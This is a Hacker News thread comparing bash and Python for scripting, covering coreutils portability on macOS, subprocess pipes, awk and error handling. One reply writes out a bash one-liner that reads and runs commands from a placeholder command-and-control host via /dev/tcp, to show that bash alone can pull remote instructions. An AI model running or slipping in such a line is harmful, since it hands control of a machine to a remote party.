Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

> The opposite of "it's like riding a bike" is "it's like programming in bash".

> A phrase which means that no matter how many times you do something, you will have to re-learn it every single time.

Couldn't phrase it better myself. After wasting way too much time, I tend to go with Python for anything more than a couple of lines, even trivial stuff. That's, of course, unless there's a very compelling reason to use bash.



I’m the opposite.

Every time a python script throws an exception at me (pretty much every time I invoke a python script for the first time), my first debugging step is to read it and attempt to rewrite it in bash.

9 times out of 10, the result is 10-100x times shorter, with zero external dependencies, and is also easier to debug.

In the other case, the python thing is some non-trivial monstrosity that should have been implemented in a compiled language with static type checking.


> with zero external dependencies

I am very skeptical of this claim...in practice I've found it to rarely be the case. Usually shell scripts have more dependencies, and even worse, they are implicit since Bash provides no mechanism for managing dependencies. Programs like sed, awk, grep, cut, paste, curl, jq, gzip, tar, etc. These are all separate dependencies, usually in separate packages (some are grouped together into coreutils), supporting different feature sets between distributions and OSes. All of those can be replaced with the Python standard library.

Bash itself is pretty anemic and isn't very useful without gluing together external programs, which is its raison d'etre after all.


Are there any systems that run Bash but do not include CoreUtils? I think not...

A shell script is literally intended to "glue together" external programs, including all of CoreUtils. If you are doing more than just "gluing together" other programs, then you are programming, not scripting, and you'd be far better off reaching for an actual programming language instead of a shell script of any kind.

Python has plenty of warts too. You can't depend on it being installed on any given system, can't depend on the version even (Python 2.x or 3.x?), which libraries are installed, environment, venv support, etc.


What version of coreutils? Try comparing the behavior of cp on macOS vs. a modern Linux distribution. They are very different.

I'm not saying Python isn't without its problems too. I don't even like using Python that much for scripting. But we should be clear about what tradeoffs we're making when we write Bash scripts, and not pretending like we have "zero dependencies".


> Try comparing the behavior of cp on macOS vs. a modern Linux distribution

Not many people are running macOS servers... and servers tend to be where most shell scripts are being used.

macOS has notoriously out of date versions of all system programs, CoreUtils and Bash among them, due to licensing issues with Apple's closed-source proprietary OS. BSD and Linux based systems, generally don't have this issue.

That being said, a regular Shell Script (not a Bash Script) will run unmodified on macOS. When people say "shell script", they usually mean an actual `sh` script instead of a Bash script.


At my current gig, our infra team - who all use linux - regularly break the developer workflow for the rest of the org, which is around 80% macOS - by using unsupported bash or coreutils features. When I look at the scripts I want to pull my hair out, their use of bash goes far beyond glue code and rivals the complexity of some of our smaller micro services.


Into the weeds - but sounds like your developers need a better development environment, one that more closely matches the production environment.

Thinking of macOS as "just another *NIX" really doesn't fly these days. Crazily outdated standard systems utilities is just the tip of the ice berg, really.


On the contrary - we use kubernetes heavily and our development environment matches production about as closely as possible for the architecture we have. But we’ve got to bootstrap minukube and seed configuration and data to uninteresting dependencies somehow. Using different scripts for that in development and production would be moving in the wrong direction, but I do often wish they were written in Python.


Has your team considered using a standardized VM to develop in?

Your team could then freely use whatever computer/OS they wanted, but also keep everyone's development systems consistent with each other, as well as avoid any strange Apple-induced issues that come with running Apple hardware as a developer in 2020.

You're really fighting an uphill battle with macOS these days... as sad as that might be for some.

You've spelled it out in a few different posts - macOS breaks everything for your team. So why fight it? Get a different OS to develop in... or dumb down everything because macOS uses crusty, old utilities.


> Has your team considered using a standardized VM to develop in?

How is that not what we're already doing? Minikube runs in a VM. But we have to set it up somehow. Running a minikube VM inside a maually configured linux VM makes no sense - if we did that, now we'd need a scipt to boottrap the linux VM.

> You're really fighting an uphill battle with macOS these days... as sad as that might be for some.

I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.


> How is that not what we're already doing? Minikube runs in a VM. But we have to set it up somehow.

I was implying a development environment inside a VM, not just a VM for testing.

You posted several times about how macOS isn't compatible with your production environments scripts and what-not. The solution is to either not use macOS, or use a standardized VM every developer on the team uses to develop inside of, so that your scripts work "out of the box".

> I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.

Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.


> You posted several times about how macOS isn't compatible with your production environments scripts and what-not. The solution is to either not use macOS, or use a standardized VM every developer on the team uses to develop inside of, so that your scripts work "out of the box".

Another solution would be to write those scripts against a language and standard library that doesn't have wildly varying behaviour between its underlying platforms. One of my side projects has a bunch of supporting scripts in Python doing similar things and they run exactly the same on Linux and macOS. They even run fine on Windows with only minimal modifications.

> Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.

With this statement I was referencing specifically the complaints that have surfaced in the past few years about new OS changes and security features breaking tooling. I don't count our infra team using new bash features in this because the issue with outdated bash/unix tooling is a long-standing one.

I can't speak for others, but for me personally, the usability of macOS for almost all of the things I do on a day-to-day basis is just day-and-night better than anything else, even if I have to hack up a bash script to work correctly from time to time. I will say the difference is less than it used to be - I use it occasionally and Linux has come a long way in the past 10 years.


This is basically what writing a Python script is. Python code is compiled into Python bytecode and interpreted by the Python VM, after all.

(I know what you mean by VM, but I don't think the distinction is very important here, you get the same benefits either way, and using Python is arguably a lot simpler than using a full VM.)


What you describe is 100% real and is why `brew install coreutils findutils gnu-sed` has always been a prerequisite for any developer whose dev environment I've been tasked with supporting.


That’s definitely one solution and I have resorted to it from time to time, but it’s far from perfect - now anything that detects macOS and uses different options is broken.


So what you can do, though, is not link them in and your scripts can use their Homebrew directory to get ahold of the GNU binaries. It is still a script change you have to make, but it's one you can make at a top level and then your bash wranglers are very unlikely to break them.

(Though I use those as daily-driver packages on Macs and have actually never had something break? GNU tools tend to support BSD options.)


Maybe this is easier with the way homebrew does things (I prefer MacPorts) but then you have to manage a bunch of symlinks to bring in the stuff you DO want to use by default.

I actually hadn't thought to try this approach, though. The next time this happens I will definitely give it a shot.


Homebrew does collate them all in a couple of directories for you, yeah.


*BSD also don't use GNU coreutils by default.


Python's shutil.copy() is worse in every respect, just look at the warnings in the docs. Shell is just better (cp -Rp for example is portable).


Python is by default installed on RHEL, CentOS, Debian and many more, the noteble exception are BSDs [0]. Python 2.4 was released in 2004, by writing python 2.4 compatible code you should cover everything besides ancient mainframes. While python 2.4. does not contain all niceties of modern python, it has lists, sets, dicts and the subprocess module which makes writing bash script comparable scripts very doable.

  [0] https://unix.stackexchange.com/a/24808/317276


Why Python 2 instead of 3? There are several distributions that no longer ship it, and AFAIK it's no longer supported as of 2020.


Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.


Python is readable, awk is not. I'd rather spend an extra 5 minutes writing something that I don't have to burn 20 minutes understanding in just a few months time.

I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages. Further evidence can be found in Python's development of type hints.


Python isn't that readable when piping. From https://docs.python.org/3/library/subprocess.html#replacing-...

  output=$(dmesg | grep hda)
becomes

  p1 = Popen(["dmesg"], stdout=PIPE)
  p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE)
  p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.
  output = p2.communicate()[0]
This isn't a contrived example. One reason I like using macros in Python is because it simplifies exactly this boilerplate.

You can write a simplifying function, but programs rarely do.


I agree. Subprocess isn't really a shell-ish pipe. And it's sometimes slow (at least it used to be).

This is why I use the shell overall, but when I need to process something that's better expressed in python, I use pypyp.


Thanks for mentioning pypyp! It looks sweet.


Why would you reimplement piping? Just use the shell:

  output = check_output(“dmesg | grep hda”, shell=True)
Or regular Python string methods could be used instead of piping to grep.


If you find awk unreadable, maybe check out this link? https://ferd.ca/awk-in-20-minutes.html

I actually find awk very readable. It's a far simpler language than Python really.

The exception is perhaps if you need to do something complex, like parse a csv.


> It's a far simpler language than Python really.

This is true, but if you already know Python, then "awk + Python" has greater total complexity than "just Python". So the question is does awk add enough value to be worth the incremental cost of learning it in addition to Python? I think for many, the answer is "no".


Honestly I think if someone finds awk unreadable, they're probably cutting corners elsewhere and probably shouldn't be doing unix systems programming.

It's like all of the bash scripts that we see that don't handle failures and traps or print a usage block.


Out of curiosity, I grepped the Qubes github repos for awk. Here's the most complicated use I could find:

     awk -F : '/\/home/ { print $1":"$3":"$4":"$6 } '


I believe it is a matter of taste and experience. Some people prefer to read & edit 3-4 concise lines, and some prefer ten pages of prose.

> I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages.

IMO Python has a fair number of brevity constructs, which was it's one of the selling points, besides keeping other things readable. If you look at the published code from the research community, many of it resembles Matlab or Mathematica's style.


Another counterpoint to readability: the benefit is diluted if the reader isn’t familiar with the dependencies. I know this goes both ways, though in some circles (say, devops) there’s more familiarity with Unix tools than Python. So the cognitive overhead of getting familiar with something you’re not IMO outweighs readability in either case.


Das Tolle an Deutsch ist, dass es lesbar ist, während Englisch nicht.


Ich stimme zu.


In this context (vs Bash), I argue that awk is pretty readable and perl is somewhat readable.


Read it as "give me ${1}", paused to think for a bit.


Well played. :D


> Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.

I'll add good old Make to the list. It boggles the mind how some people prefer to reinvent the wheel instead of pulling a standard tool from a standard tool belt.


I pretty much always agreed with this until Bazel became a thing. It's the first tool that I truly feel like it might be superior to Make.


You can do sed/awk/jq trivially in Python with no dependencies, other than Python itself. Which is a fewer number of dependencies than a script gluing together sed+awk+jq, each of those being a dependency managed implicitly by your distribution's package manager.


except with sed, awk and jq, I don't have to worry about it being present on a production system and someone leveraging it to execute arbitrary, sophisticated code.

You can't just assume that it's okay to have your preferred scripting language everywhere.


I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute arbitrary, sophisticated code.

Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity).

But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.


Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd and there's no privilege-free packaging system to rapidly get there.

Python and other powerful scripting languages can.

Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point.

The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.


> Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd

Not listen, but it can certainly connect out and ask for instructions...

    bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'


Your point seemed like confirmation bias to me. I've been given to use just as many broken bash script as Python. (I'll admit I'm saying that in a false attempt at being fair. In my experience, Python script tend to work better. Then again, I tend to work in mixed env which includes Windows OS.)

You're mentioning exception errors as if having an explicit error message on failure is a problem, not a plus.

What happens when a bash script fails? Or worse, silently fails and leave you with a half-working setup at best and a seriously broken one due to some intermediary step failure being ignored?

If you happen to notice the error that is... like the OP pointed out, almost all bash shell script ignore silently errors and figuring which of the hundred of lines fails on your particular setup is a fun exercise.

And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.


> If you happen to notice the error that is... like the OP pointed out, almost all bash shell script ignore silently errors and figuring which of the hundred of lines fails on your particular setup is a fun exercise.

> And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.

Or you could just add "-x" to the infamous "set -Eeuo pipefail" at the top of the script before running it, in which case it'll let you know exactly which of the hundreds of lines failed.

Alternatively, if you're using the "script template" in the submission, you can just pass in the "-v" option when you run the script and it'll take care of setting it for you.


I'm the opposite. If a shell script grows over say 100 lines, it's time to pull out the python.


Same here except I use the default scripting shell on the UNIX-like OS, instead of bash. On Debian Linux and derivatives, it is known as dash:

"Debian Almquist shell. A small POSIX-compliant shell that is faster than bash."


I think bash is marginally more portable, yet python has some wonderful things in the standard library that make it a way more generalized language that will go further. os.path, argparse and os.walk I use a lot.


agreed - but what's the equivalent of this boiler plate? One that traps errors, and sets up basics with no dependencies?


Do you have a python template that you could share?


I am on dev team that isn't fast to upskill, and have been rewarded for writing my build-test-release solutions in bash because my team is not generally able to self-manage their developer python environments. Without needing to install anything, it is very lucrative for us to use such an unpopular language.


That's my way to do things now. I still have my 500 lines bash script file to backup multiple databases, with dynamic filter, on multiple remote servers... to remind me that I can do that much easier in Python.


Python is nice in that it works fairly well in Windows too.




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: